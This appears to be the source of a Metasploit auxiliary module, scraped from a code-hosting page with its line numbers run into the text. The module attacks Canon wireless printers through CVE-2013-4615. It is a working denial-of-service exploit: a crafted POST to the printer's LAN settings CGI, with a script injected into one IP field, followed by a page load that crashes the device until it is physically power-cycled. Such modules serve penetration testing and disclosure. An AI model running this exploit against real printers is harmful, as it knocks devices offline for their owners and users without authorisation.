Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/canon_wireless_printer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Canon Wireless Printer Denial Of Service',12'Description' => %q{13The HTTP management interface on several models of Canon Wireless printers14allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:15if this module is successful, the device can only be recovered with a physical16power cycle.17},18'License' => MSF_LICENSE,19'Author' =>20[21'Matt "hostess" Andreko <mandreko[at]accuvant.com>'22],23'References' => [24[ 'CVE', '2013-4615' ],25[ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html']26],27'DisclosureDate' => '2013-06-18'))28end2930def is_alive?31res = send_request_raw({32'method' => 'GET',33'uri' => '/',34},10)3536return !res.nil?37end3839def run4041begin4243# The first request will set the new IP44res = send_request_cgi({45'method' => 'POST',46'uri' => '/English/pages_MacUS/cgi_lan.cgi',47'data' => 'OK.x=61' +48'&OK.y=12' +49'&LAN_OPT1=2' +50'&LAN_TXT1=Wireless' +51'&LAN_OPT3=1' +52'&LAN_TXT21=192' +53'&LAN_TXT22=168' +54'&LAN_TXT23=1' +55'&LAN_TXT24=114"><script>alert(\'xss\');</script>' +56'&LAN_TXT31=255' +57'&LAN_TXT32=255' +58'&LAN_TXT33=255' +59'&LAN_TXT34=0' +60'&LAN_TXT41=192' +61'&LAN_TXT42=168' +62'&LAN_TXT43=1' +63'&LAN_TXT44=1' +64'&LAN_OPT2=4' +65'&LAN_OPT4=1' +66'&LAN_HID1=1'67})6869rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE70print_error("Couldn't connect to #{rhost}:#{rport}")71return72end7374# The second request will load the network options page, which seems to trigger the DoS75send_request_cgi({76'method' => 'GET',77'uri' => '/English/pages_MacUS/lan_set_content.html'78},5) #default timeout, we don't care about the response7980# Check to see if it worked or not81if is_alive?82print_error("#{rhost}:#{rport} - Server is still alive")83else84print_good("#{rhost}:#{rport} - Connection Refused: Success!")85end8687end88end899091